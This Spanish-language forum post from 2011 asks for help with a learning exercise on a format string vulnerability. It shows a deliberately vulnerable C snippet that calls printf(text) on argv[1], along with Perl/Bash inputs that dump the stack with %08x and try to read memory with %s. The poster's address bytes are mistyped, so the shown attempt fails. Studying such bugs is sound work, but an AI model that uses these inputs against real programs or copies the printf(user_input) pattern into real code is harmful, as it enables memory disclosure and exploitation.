Vulnerabilidad de cadena de formato

Iniciado por Z31C0S, 20 Diciembre 2011, 23:16 PM

0 Miembros y 1 Visitante están viendo este tema.

Z31C0S

Muy buenas,

veréis estoy intentando aprobecharme de la vulnerabilidad de la cadena de formato, principalmente intentando leer una direccion de memoria arbitraria gracias a printf y a %s. El funcionamiento es el siguiente,

tengo un fmt_vuln.c que es algo asi

...

int main(int argc, char *argv[])
...

strcpy(text,argv[1]);
printf(text);
...
}


toma el argumento 1, que es un string, lo copia en text y lo imprime

ahora vayamos con las pruebas

Citar
usuario@usuario:~/Hacking$ ./fmt_vuln AAAA.$(perl -e 'print "%08x."x8') 
AAAA.bf87a1b0.b7f60585.b7df9c20.bf87a654.00000001.b7f7cff4.7c96f087.41414141.

lo que hago aquí es enviar una cadena AAAA y, usando la bash y perl, quiero ver que hay en la pila, bajo el marco de la función, haciendo uso de la vulnerabilidad de printf al intentar leer el formato de cadena

el resultado el que sigue: veo la cadena AAAA, al principio, luego varias cosas en memoria y al final 41414141, que es donde está almacenada mi cadena AAAA (\x41 en codigo ASCII es A). Ahora bien, si yo en vez de usar %x, usara %s, en el formato de cadena, debería leerme el contenido de la dirección de memoria que se pasara como parametro, pero como no hay parametro, si pongo,

Citar
usuario@usuario:~/Hacking$ ./fmt_vuln AAAA.$(perl -e 'print "%08x."x7').%s 

intentaría acceder a la dirección 41414141. Lógico esto no existe. Entonces intento insertar una dirección que sí exista. Voy a crear una variable PATH y localizar su direccion en memoria

Citar
env | grep PATH

a traves de un código, averiguo que PATH está en

Citar
PATH will be at 0xbf9e4d49

pues si yo introduzco esa dirección, invirtiendola debido a la arquitectura de la memoria, de la misma forma que hice antes, debería de aparecer en memoria

Citar
usuario@usuario:~/Hacking$ ./fmt_vuln $(perl -e 'print "\x49\x9d\9e\xbf"').$(perl -e 'print "%08x."x12')

pero no, el resultado que me da es

Citar
I�9e�.bfc1bd40.b7eff585.b7d98c20.bfc1c1e4.00000001.b7f1bff4.7c96f087.65399d49.30252ebf.252e7838.2e783830.78383025.

y fijaros en varias cosas, al principio tengo mi dirección, luego información de memoria y al final aparecen unos valores repetidos \x30\x25\x2e\x78\x38 que si comprobáis como codigo ASCII esto son los valores correspondientes a %08x.

y aquí viene mi pregunta, ¿donde está mi direccion "\x49\x9d\9e\xbf"? porque debería de estar antes de esos valores.

Espero entiendan la explicación y el problema, gracias!